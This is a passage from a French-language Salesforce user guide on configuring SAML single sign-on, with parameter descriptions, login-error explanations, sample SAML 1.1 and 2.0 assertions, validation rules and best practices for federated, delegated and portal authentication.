4. Une fois Salesforce.com configur pour SAML, si vous rencontrez des problmes avec l'assertion SAML, cliquez sur
Validateur d'assertion SAML afin de valider l'assertion SAML.
Personnalisation des pages Dmarrage, Connexion et Dconnexion SAML
Les pages d'accueil, de connexion et de dconnexion peuvent tre personnalises pour des utilisateurs en connexion unique
l'aide de SAML 1.1 ou 2.0. La spcification SAML prend en charge un formulaire HTML utilis pour transmettre l'assertion
SAML via HTTPS POST.
Pour SAML 1.1, le fournisseur d'identit SAML peut incorporer des paires nom-valeur dans le champ CIBLE, afin de
transmettre ces informations supplmentaires Salesforce.com, prcdes d'une URL au formatage spcial contenant des
paramtres cods en URL.
L'URL pour SAML 1.1 inclure dans le champ CIBLE est la suivante :
https://saml.salesforce.com/?

Pour SAML 2.0, au lieu du champ CIBLE, utilisez <AttributeStatement> dans l'assertion SAML pour spcifier les
informations supplmentaires.
Salesforce.com prend en charge les paramtres suivants :
Remarque: Les valeurs SAML 1.1 de ces paramtres doivent tre codes en URL. Cela permet de traiter correctement
les URL qui sont transmises comme des valeurs comprenant leurs propres paramtres. Pour SAML 2.0, ces paramtres
font partie de l'instruction <AttributeStatement>.

ssoStartPage est la page vers laquelle l'utilisateur est redirig lorsqu'il essaie de se connecter avec SAML. L'utilisateur
est redirig vers cette page lorsqu'il demande une ressource protge dans Salesforce.com, sans session active. ssoStartPage

doit tre la page de connexion du fournisseur d'identit SAML.

startURL est l'URL vers laquelle vous souhaitez que l'utilisateur soit redirig lorsque la connexion s'effectue correctement.
Cette URL peut tre absolue, comme https://na1.salesforce.com/001/o ou relative, comme /001/o. Ce paramtre
est utilis uniquement dans SAML 1.1. Dans SAML 2.0, l'URL de dpart correspond la page laquelle l'utilisateur
tente d'accder avant d'tre authentifi.
logoutURL est l'URL vers laquelle vous souhaitez rediriger l'utilisateur lorsqu'il clique sur le lien Dconnexion dans
Salesforce.com. Par dfaut, il s'agit de http://www.salesforce.com.

L'exemple de champ CIBLE ci-dessous est pour SAML 1.1 et comprend des paramtres correctement cods. Il passe une page
de dmarrage personnalise, ainsi que les URL de dmarrage et de dconnexion incorpores en tant que valeurs de paramtres
dans la chane de requte.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com

L'exemple d'instruction <AttributeStatement> suivant est pour SAML 2.0 et comprend ssoStartPage et logoutURL:
<saml:AttributeStatement> <saml:Attribute Name="ssoStartPage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">
http://www.customer.org </saml:AttributeValue> </saml:Attribute>
<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 194

https://www.salesforce.com </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

Configuration de Salesforce.com pour SAML

Pour configurer les paramtres SAML pour la connexion unique depuis le fournisseur d'identit interne votre entreprise
dans Salesforce.com :
1. Obtenez un certificat auprs du fournisseur d'identit et stockez-le un emplacement accessible depuis votre navigateur.
Il est tlcharg dans Salesforce.com ultrieurement.
2. Dans Salesforce.com, cliquez sur Configuration Contrles de scurit Paramtres de connexion unique, puis sur
Modifier.
3. Personnalisation des paramtres SAML :
Champ

Description

SAML activ

Cochez cette case pour activer le SAML pour votre entreprise. Dslectionnez-la pour
dsactiver le SAML.

Version SAML

Prcisez la version de SAML qu'utilise votre fournisseur d'identit. Salesforce.com prend

actuellement en charge les versions 1.1 et 2.0. Les spcifications SAML des diverses versions
sont lies ci-dessous :
Pour SAML 1.1
Pour SAML 2.0

Emetteur

URL qui identifie de faon unique votre fournisseur d'identit SAML. Cette valeur
correspond gnralement l'URL du service du fournisseur d'identit, ou encore l'ID
d'entit du fournisseur d'identit. Les assertions SAML envoyes Salesforce.com doivent
correspondre exactement cette valeur dans l'attribut Emetteur des assertions SAML.

Certificat de
fournisseur
d'identit

Pour localiser et tlcharger un nouveau certificat de fournisseur d'identit mis par votre
fournisseur d'identit, servez-vous du bouton Parcourir.

Type d'ID utilisateur Prcisez quel lment d'une assertion SAML contient la chane qui identifie un utilisateur
Salesforce.com :
SAML
L'assertion contient le nom d'utilisateur Salesforce de
l'utilisateur

Slectionnez cette option si l'assertion identifie un utilisateur Salesforce.com l'aide

de son nom d'utilisateur Salesforce.com. Utilisez cette option si votre fournisseur
d'identit transmet le nom d'utilisateur Salesforce.com dans des assertions SAML.
L'assertion contient l'ID de fdration de l'objet Utilisateur

Slectionnez cette option si l'assertion identifie un utilisateur Salesforce.com avec un

identificateur d'utilisateur externe stock dans le champ FederationIdentifier
dans son enregistrement Utilisateur. Utilisez cette option si votre fournisseur d'identit
transmet un identificateur d'utilisateur externe, par exemple un ID d'employ, dans
l'assertion SAML afin d'identifier l'utilisateur.

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 195

Champ

Description

Emplacement de l'ID
utilisateur SAML

Prcisez quel endroit de l'assertion un utilisateur doit tre identifi :

L'ID utilisateur correspond l'lment IdentifiantNom de la
dclaration Sujet

Le username Salesforce.com ou le FederationIdentifier se trouve dans la

dclaration <Subject> de l'assertion.
L'ID utilisateur est un lment Attribut

Le Username Salesforce.com ou le FederationIdentifier est spcifi dans

<AttributeValue> situ dans l'lment <Attribute> de l'assertion.
Nom d'attribut

Si ID utilisateur est un lment Attribut est slectionn, saisissez la

valeur de AttributeName spcifie dans l'lment <Attribute> qui contient l'ID
utilisateur.

URI de l'Attribut

Si SAML 1.0 est la version SAML spcifie et que ID utilisateur est un lment
Attribut est slectionn, saisissez la valeur AttributeNamespace spcifie dans
l'lment <Attribute>.

Format de l'ID de nom Si SAML 2.0 est la version SAML spcifie et que ID utilisateur est un lment
Attribut est slectionn, spcifiez la valeur de nameid-format. Les valeurs possibles
comprennent unspecified, emailAddress ou persistent. Toutes les valeurs lgales

sont rpertories dans la section Name Identifier Format Identifiers de la Spcification

Assertions et Protocoles SAML 2.0.

4. Cliquez sur Enregistrer.

5. Pour demander une connexion unique, votre fournisseur d'identit invite le navigateur de l'utilisateur PUBLIER un
formulaire contenant des assertions SAML dans la page de connexion Salesforce.com. Chaque assertion est contrle ; si
elle est accepte, la connexion unique est autorise.
6. Une fois les paramtres SAML configurs et enregistrs, si vous rencontrez des difficults avec la connexion unique, cliquez
sur Validateur d'assertion SAML.
Historique de connexion
Lorsqu'un utilisateur se connecte Salesforce.com depuis une autre application au moyen de la connexion unique, les assertions
SAML sont transmises la page de connexion Salesforce.com. Les assertions sont confontes aux assertions contenues dans
le certificat du fournisseur d'identit prcis dans Configuration Contrles de Scurit Paramtres de connexion
unique. Si un utilisateur ne parvient pas se connecter, un message est ajout l'historique de connexion qui indique la raison
de l'chec :
Incompatibilit metteur
L'metteur spcifi dans une assertion ne correspond pas l'metteur spcifi dans votre configuration Salesforce.com.
Incompatibilit destinataire
Le destinataire spcifi dans une assertion ne correspond pas au destinataire spcifi dans votre configuration
Salesforce.com.
Signature non valide
La signature dans une assertion ne peut pas tre valide par le certificat de votre configuration Salesforce.com.

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 196

Affirmation prime
L'horodatage d'une assertion est suprieur 5 minutes.
Remarque: Salesforce.com inclut une tolrance au drglement d'horloge de trois minutes. Dans la pratique,
cela signifie qu'une assertion peut dpasser sa priode de validit de huit minutes ou l'anticiper de trois minutes.

Assertion non valide

Une assertion n'est pas valide. Par exemple, l'lment <Subject> d'une assertion est peut-tre manquant.
Erreur de configuration/Autorisation dsactive
Un problme de configuration SAML existe dans Salesforce. Par exemple, le certificat tlcharg est peut-tre corrompu,
ou bien la prfrence de l'entreprise a peut-tre t dsactive. Vrifiez votre configuration dans Configuration
Contrles de scurit Paramtres de connexion unique, puis cliquez sur Dbogueur d'assertion SAML.
Erreur de confirmation de sujet
Le <Subject> spcifi dans l'assertion ne correspond pas la configuration SAML dans Salesforce.com.
Relecture dtecte
La mme ID d'assertion a t utilise plusieurs fois. Les ID d'assertion doivent tre uniques dans une mme organisation.
Public non valide
La valeur prcise dans <Audience> doit tre https://saml.salesforce.com
Exemples d'assertions
Des exemples d'assertions se trouvent ci-dessous pour SAML 1.1 et SAML 2.0.
Le type d'ID utilisateur SAML correspond au nom d'utilisateur Salesforce.com et l'emplacement de l'ID utilisateur
SAML correspond l'lment <NameIdentifier> dans l'lment <Subject>
Pour SAML 1.1 :
<Subject> <NameIdentifier>user101@salesforce.com</NameIdentifier> </Subject>

Pour SAML 2.0 :

<saml:Subject> <saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"
Recipient="http://localhost:9000"/> </saml:SubjectConfirmation> </saml:Subject>

Le type d'ID utilisateur SAML correspond au nom d'utilisateur Salesforce.com et l'emplacement de l'ID utilisateur
SAML correspond l'lment <Attribute>
Pour SAML 1.1 :
<AttributeStatement> <Subject> <NameIdentifier>this value doesn't matter</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation> </Subject> <Attribute AttributeName="MySfdcName"
AttributeNamespace="MySfdcURI"> <AttributeValue>user101@salesforce.com</AttributeValue>

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Guide de l'utilisateur | A propos des Connexions uniques | 197

</Attribute> </AttributeStatement>

Pour SAML 2.0 :

<saml:AttributeStatement> <saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

Le type d'ID utilisateur SAML correspond au champ FederationIdentifier de l'objet utilisateur Salesforce.com
et l'emplacement de l'ID utilisateur SAML correspond l'lment <NameIdentifier> dans l'lment <Subject>
Pour SAML 1.1 :
<AttributeStatement> <saml:Subject> <saml:NameIdentifier
Format="urn:oasis:names:tc:SAML:1.0:assertion" NameQualifier="www.saml_assertions.com">
MyName </saml:NameIdentifier> </saml:Subject> </AttributeStatement>

Pour SAML 2.0 :

<saml:Subject> <saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/> </saml:SubjectConfirmation> </saml:Subject>

Remarque: L'identifiant du nom peut tre tout lien arbitraire, y compris les adresses e-mail ou les liens ID
numriques.

Le type d'ID utilisateur SAML correspond au champ FederationIdentifier de l'objet utilisateur Salesforce.com
et l'emplacement de l'ID utilisateur SAML correspond l'lment <Attribute>
Pour SAML 1.1 :
<AttributeStatement> <Subject> <NameIdentifier>who cares</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>
</SubjectConfirmation> </Subject> <Attribute AttributeName="MyName"
AttributeNamespace="MyURI"> <AttributeValue>user101</AttributeValue> </Attribute>
</AttributeStatement>

Pour SAML 2.0 :

<saml:AttributeStatement> <saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"> user101
</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement>

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Guide de l'utilisateur | A propos des Connexions uniques | 198

Le type d'ID utilisateur SAML correspond au nom d'utilisateur Salesforce.com et l'emplacement de l'ID utilisateur
SAML correspond l'lment <NameIdentifier> dans l'lment <Subject>
L'exemple suivant est une rponse SAML complte pour SAML 2.0 :
<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0"> <saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0"> <saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject> <saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">
saml01@salesforce.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"
Recipient="https://login.www.salesforce.com"/> </saml:SubjectConfirmation> </saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">
<saml:AudienceRestriction> <saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction> </saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="portal_id"> <saml:AttributeValue
xsi:type="xs:anyType">060D00000000SHZ </saml:AttributeValue> </saml:Attribute>
<saml:Attribute Name="organization_id"> <saml:AttributeValue
xsi:type="xs:anyType">00DD0000000F7L5 </saml:AttributeValue> </saml:Attribute>
<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp </saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">

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Guide de l'utilisateur | A propos des Connexions uniques | 199

http://www.salesforce.com/security/del_auth/SsoLogoutPage.html </saml:AttributeValue>
</saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

Voir aussi :
A propos des Connexions uniques
Meilleures pratiques pour la mise en oeuvre d'une connexion unique
Affichage des paramtres de connexion unique
Validation des paramtres SAML pour la connexion unique
Activation de la connexion unique pour les portails

Affichage des paramtres de connexion unique

L'authentification fdre est disponible dans : Toutes les ditions
L'authentification dlgue est disponible dans : Professional, Enterprise, Unlimited et Developer Edition

Autorisations utilisateur requises

Pour afficher les paramtres :

Afficher la configuration

Pour modifier les paramtres :

Personnaliser l'application
ET
Modifier toutes les donnes

Une fois votre organisation Salesforce.com configure pour utiliser SAML, vous pouvez afficher les paramtres de connexion
unique. Cliquez sur Configuration Contrles de scurit Paramtres de connexion unique.
Cette page affiche les dtails de votre configuration SAML La plupart de ces champs sont identiques ceux de la page dans
laquelle vous avez configur SAML. Les champs ci-dessous contiennent des informations gnres automatiquement en
effectuant la configuration. Les champs disponibles dpendent de votre configuration.
Champ

Description

URL de dconnexion
Salesforce.com

Affiche l'URL de dconnexion de Salesforce.com vers laquelle l'utilisateur est dirig suite
une dconnexion. Cette URL est utilise uniquement si aucune valeur n'est spcifie dans
URL de dconnexion du fournisseur d'identit.

Cette page permet d'effectuer les oprations suivantes :

Cliquer sur Modifier pour modifier la configuration SAML existante.

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 200

Cliquer sur Validateur d'assertion SAML pour valider les paramtres SAML de votre organisation.

Voir aussi :
A propos des Connexions uniques
Configuration des paramtres SAML pour la connexion unique
Meilleures pratiques pour la mise en oeuvre d'une connexion unique
Affichage des paramtres de connexion unique
Validation des paramtres SAML pour la connexion unique

Validation des paramtres SAML pour la connexion unique

L'authentification fdre est disponible dans : Toutes les ditions
L'authentification dlgue est disponible dans : Professional, Enterprise, Unlimited et Developer Edition

Autorisations utilisateur requises

Pour afficher les paramtres :

Afficher la configuration

Pour modifier les paramtres :

Personnaliser l'application
ET
Modifier toutes les donnes

Une fois les paramtres SAML configurs par la connexion unique, vous pouvez les valider comme suit :
1. Cliquez sur Configuration Contrles de scurit Paramtres de connexion unique, configurez Salesforce.com pour
SAML, puis cliquez sur Validateur d'assertion SAML.
2. Saisissez votre rponse SAML dans la case de texte, puis cliquez sur Valider. Vous pouvez utiliser une rponse en texte
brut ou code en base64.
Salesforce.com impose les exigences de validation suivantes aux assertions :
Dclaration d'authentification
Vous devez insrer un lment <AuthenticationStatement> dans l'assertion.
Instruction Conditions
Si l'assertion contient une instruction <Conditions>, elle doit inclure un horodatage valide.
Horodatages
La priode de validit prcise dans une affirmation est respecte. De plus, l'horodatage d'une affirmation doit tre
infrieur 5 minutes et tre gal plus ou moins 3 minutes, peu importe le paramtre de l'affirmation dfinissant la
priode de validit. Ce systme permet de faire la diffrence entre les machines. Les contraintes NotBefore et
NotOnOrAfter doit galement tre dfinies et valides.

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Guide de l'utilisateur | A propos des Connexions uniques | 201

Attribut
Si votre configuration est dfinie sur l'ID utilisateur est un lment Attribut, votre assertion doit contenir
une instruction <AttributeStatement>.
Si vous utilisez SAML 1.1, <AttributeName> et <AttributeNamespace> sont requises dans
<AttributeStatement>.
Si vous utilisez SAML 2.0, <AttributeName> est requise.
Format
L'attribut Format d'une instruction <Issuer> doit tre dfini sur
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" ou non dfini.

Par exemple :
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

L'exemple suivant est galement valide :

<saml:Issuer >https://www.salesforce.com</saml:Issuer>

Emetteur
L'metteur spcifi dans une assertion doit correspondre l'metteur spcifi dans Salesforce.com.
Objet
L'objet de l'assertion doit tre rsolu avec le nom d'utilisateur Salesforce.com ou l'ID de fdration de l'utilisateur.
Public
La valeur <Audience> est requise et doit tre https://saml.salesforce.com
Destinataire
Le destinataire spcifi dans une assertion doit correspondre au destinataire spcifi dans la configuration Salesforce.com.
Signature
L'affirmation doit contenir une signature valide. La signature doit tre cre l'aide de la cl prive associe au certificat
fourni dans la configuration SAML.

Voir aussi :
A propos des Connexions uniques
Configuration des paramtres SAML pour la connexion unique
Meilleures pratiques pour la mise en oeuvre d'une connexion unique
Activation de la connexion unique pour les portails

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 202

Meilleures pratiques pour la mise en oeuvre d'une connexion unique

L'authentification fdre est disponible dans : Toutes les ditions
L'authentification dlgue est disponible dans : Professional, Enterprise, Unlimited et Developer Edition

Autorisations utilisateur requises

Pour afficher les paramtres :

Afficher la configuration

Pour modifier les paramtres :

Personnaliser l'application
AND
Modifier toutes les donnes

Salesforce.com offre les mthodes suivantes d'utilisation de la connexion unique :

Authentification fdre par le biais du SAML (Langage Balis permettant d'changer des informations lies la
scurit) : Lorsque l'authentification fdre est active, salesforce.com ne valide pas le mot de passe d'un utilisateur. la
place, salesforce.com vrifie une assertion dans la requte HTTP POST et autorise la connexion unique si l'assertion est
vraie. Il s'agit du format par dfaut de la connexion unique. L'authentification fdre est disponible dans toutes les ditions.
Authentification dlgue: Lorsque l'authentification dlgue est active, salesforce.com ne valide pas le mot de passe
d'un utilisateur. la place, salesforce.com passe un appel de services Web votre organisation afin d'tablir des identits
d'authentification pour l'utilisateur. Vous devez demander l'activation de cette fonctionnalit par salesforce.com. Contactez
salesforce.com pour activer la connexion unique par authentification dlgue pour votre organisation.

Meilleures pratiques pour l'authentification dlgue

Lorsque vous mettez en place une connexion unique dlgue l'authentification pour votre entreprise, veuillez prendre en
compte ce qui suit.

Les serveurs de Salesforce doivent pouvoir accder la mise en place du service Web de votre entreprise. Vous devez donc
dployer ce dernier sur un serveur dans votre DMZ. Pensez utiliser le nom DNS externe de votre serveur lorsque vous
saisissez l'URL de la passerelle dlgue dans la rubrique Authentification dlgue dans Configuration
Contrles de scurit Paramtres de connexion unique, dans Salesforce.com.
Si salesforce.com et votre systme ne parviennent pas se connecter ou si le processus de demande dure plus de 10 secondes,
alors la tentative de connexion choue. L'erreur est mentionne l'utilisateur, prcisant ce dernier que son service
d'authentification d'entreprise ne fonctionne pas.
Les espaces de noms, les noms d'lment et les majuscules doivent tre respects dans les demandes SOAP. Dans la mesure
du possible, gnrez votre classe d'intitul de ligne partir du WSDL afin de garantir l'exactitude.
Pour des raisons de scurit, il est conseill de ne rendre disponible le service Web que par SSL. Vous devez utiliser un
certificat SSL mis par un fournisseur de confiance tel que Verisign ou Thawte. Pour obtenir une liste exhaustive des
fournisseurs de confiance, contactez salesforce.com.
IP source correspond l'adresse IP l'origine de la demande de connexion. Servez-vous de cette information afin de
rduire l'accs selon l'emplacement de l'utilisateur. Remarque : la fonction de Salesforce.com permettant de valider les
plages de connexion IP est toujours active pour les utilisateurs de la connexion unique. Pour plus d'information, reportez-vous
Restriction des plages IP de connexion dans les profils la page 147.
Vous devez ventuellement mapper les noms d'utilisateur internes de l'organisation avec ceux de Salesforce.com. Si votre
organisation n'adopte pas un mappage standard, vous pouvez ventuellement tendre le schma de votre base de donnes

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 203

utilisateur (Active Directory par exemple) afin d'inclure le nom d'utilisateur Salesforce.com en tant qu'attribut d'un compte
utilisateur. Votre service d'authentification pourra alors utiliser cet attribut pour le mapper un compte utilisateur.
Il est conseill de ne pas activer la connexion unique pour le profil de l'administrateur systme. Si vos administrateurs
systme ont activ la connexion unique pour leur profil et que votre serveur de connexion unique est momentanment
indisponible, ils ne disposent d'aucun moyen de connexion Salesforce.com. Les administrateurs systme doivent toujours
pouvoir se connecter Salesforce.com afin de dsactiver la connexion unique en cas de problme.
Nous recommandons d'utiliser un compte Developer Edition ou une version test sandbox pour dvelopper une solution
de connexion unique avant de la mettre en oeuvre dans votre organisation. Pour crer un compte Developer Edition gratuit,
connectez-vous sur la page developer.force.com.
Veillez tester votre installation avec les clients Salesforce.com, comme par exemple Connect pour Outlook, Connect pour
Office et Connect Offline. Pour plus d'informations, reportez-vous Connexion unique pour les clients de Salesforce.com.

Meilleures pratiques pour l'authentification fdre via SAML

Lorsque vous mettez en place une connexion unique fdre avec SAML pour votre entreprise, veuillez prendre en compte ce
qui suit.

Rcuprez la valeur de l'URL du destinataire sur la page de configuration et saisissez-la dans les paramtres de configuration
adquats de votre fournisseur d'identit.
Si ce dernier vous demande de configurer l'URL publique du fournisseur de service, indiquez
https://saml.salesforce.com.
Salesforce.com tolre un dlai maximal de drglement d'horloge avec votre serveur IDP de 5 minutes. Vrifiez que l'horloge
de votre serveur est bien rgle.
Si vous parvenez pas vous connecter avec une assertion SAML, consultez l'historique des connexions et notez le message
d'erreur.
Vous devez mapper les noms d'utilisateur internes de l'organisation avec ceux de Salesforce.com. Pour cela, utilisez l'une
des deux mthodes suivantes : Ajoutez un identificateur unique au champ FederationIdentifier de chaque utilisateur
Salesforce.com ou tendez votre schma de base de donnes utilisateur (par exemple Active Directory) pour inclure le nom
d'utilisateur Salesforce.com> en tant qu'attribut d'un compte d'utilisateur. Slectionnez l'option correspondante pour le
champ Type d'ID utilisateur SAML, puis configurez votre service d'authentification pour envoyer l'identificateur
dans des assertions SAML.
Avant d'autoriser les utilisateurs se connecter avec des assertions SAML, activez les prfrences SAML de l'organisation
et fournissez toutes les configurations requises.
Nous recommandons d'utiliser un compte Developer Edition ou une version test sandbox afin de tester une solution de
connexion unique SAML. Pour crer un compte Developer Edition gratuit, connectez-vous sur la page developer.force.com.
Tous les exemplaires de sandbox sont raliss avec une authentification fdre utilisant SAML dsactiv. Les ventuelles
informations de configuration sont prserves, l'exception de la valeur des changements d'URL du destinataire
apports dans http://test.salesforce.com. L'URL du destinataire est mise jour afin de correspondre
votre URL de version test sandbox, par exemple http://cs1.salesforce.com, aprs avoir ractiv SAML. Pour
ractiver SAML dans l'exemplaire sandbox, slectionnez Configuration Commandes de scurit Paramtres de
connexion unique, puis cliquez sur Modifier et slectionnez SAML activ.

Voir aussi :
A propos des Connexions uniques

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 204

Activation de la connexion unique pour les portails

Le portail client est disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Le portail partenaire est disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher les paramtres :

Afficher la configuration

Pour modifier les paramtres :

Personnaliser l'application
ET
Modifier toutes les donnes

Le processus de connexion unique offre aux utilisateurs rseau un accs toutes les ressources rseau autorises sans qu'ils aient
se connecter sparment chaque ressource. La connexion unique permet de valider des noms d'utilisateur et des mots de
passe avec la base de donnes de l'entreprise ou une autre application cliente, plutt que d'utiliser des mots de passe utilisateur
grs par Salesforce.com.
Vous pouvez configurer des portails client et des portails partenaire pour l'utilisation de la connexion unique et permettre ainsi
aux clients de se connecter une seule fois.
Pour activer la connexion unique pour les portails :
1. Configurez Salesforce.com pour SAML
2. Dans une assertion SAML, ajoutez portal_id et organization_id comme attributs. Pour rechercher ces ID :
a. Cliquez sur Configuration Profil de la socit Informations sur la socit, puis copiez l'ID situ dans l'ID de
l'organisation Salesforce.com.
b. Pour les Portails client, cliquez sur Configuration Personnaliser Portail client Paramtres, cliquez sur le
nom du Portail client, puis copiez l'ID situ dans l'ID du portail.
Pour les portails partenaire, cliquez sur Configuration Personnaliser Partenaires Paramtres, cliquez sur le
nom du portail partenaire, puis copiez l'ID situ dans l'ID du portail salesforce.com.

Meilleures pratiques de mise en oeuvre de la connexion unique pour les portails

Seule la version 2.0 de SAML peut tre utilise avec les portails.
Seuls les portails client et les portails partenaire sont pris en charge.
La connexion initie par le fournisseur de services n'est pas pris en charge.
Les attributs portal_id et organization_id sont requis pour la connexion unique des portails. Si un seul attribut est
spcifi, l'utilisateur reoit un message d'erreur.
Si les attributs portal_id et organization_id sont renseigns dans l'assertion SAML, l'utilisateur est dirig vers la
connexion ce portail. Si aucun attribut n'est renseign, l'utilisateur est dirig vers la connexion SAML Salesforce.com
habituelle.
Vous pouvez utiliser plusieurs portails pour une seule organisation.

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 205

Exemples d'assertion SAML

L'exemple suivant prsente les attributs portal_id et organization_id dans une instruction d'assertion SAML :
<saml:AttributeStatement> <saml:Attribute Name="portal_id"> <saml:AttributeValue
xsi:type=xs:anyType>060D00000000SHZ</saml:AttributeValue> </saml:Attribute>
<saml:Attribute Name="organization_id"> <saml:AttributeValue
xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue> </saml:Attribute>
</saml:AttributeStatement>

L'exemple ci-dessous prsente une instruction d'assertion SAML complte. L'organisation utilise une connexion fdre, qui
est incluse dans un attribut, pas dans l'objet.
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0"> <saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0"> <saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>
<saml:Subject> <saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"
Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation> </saml:Subject>
<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">
<saml:AudienceRestriction> <saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction> </saml:Conditions>
<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext> </saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute FriendlyName=Friendly Name Name=federationId
NameFormat=urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified> <saml:AttributeValue
xsi:type=xs:string>saml_portal_user_federation_id</saml:AttributeValue>
<saml:AttributeValue xsi:type=xs:string>SomeOtherValue</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="portal_id"> <saml:AttributeValue
xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue> </saml:Attribute>
<saml:Attribute Name="organization_id"> <saml:AttributeValue
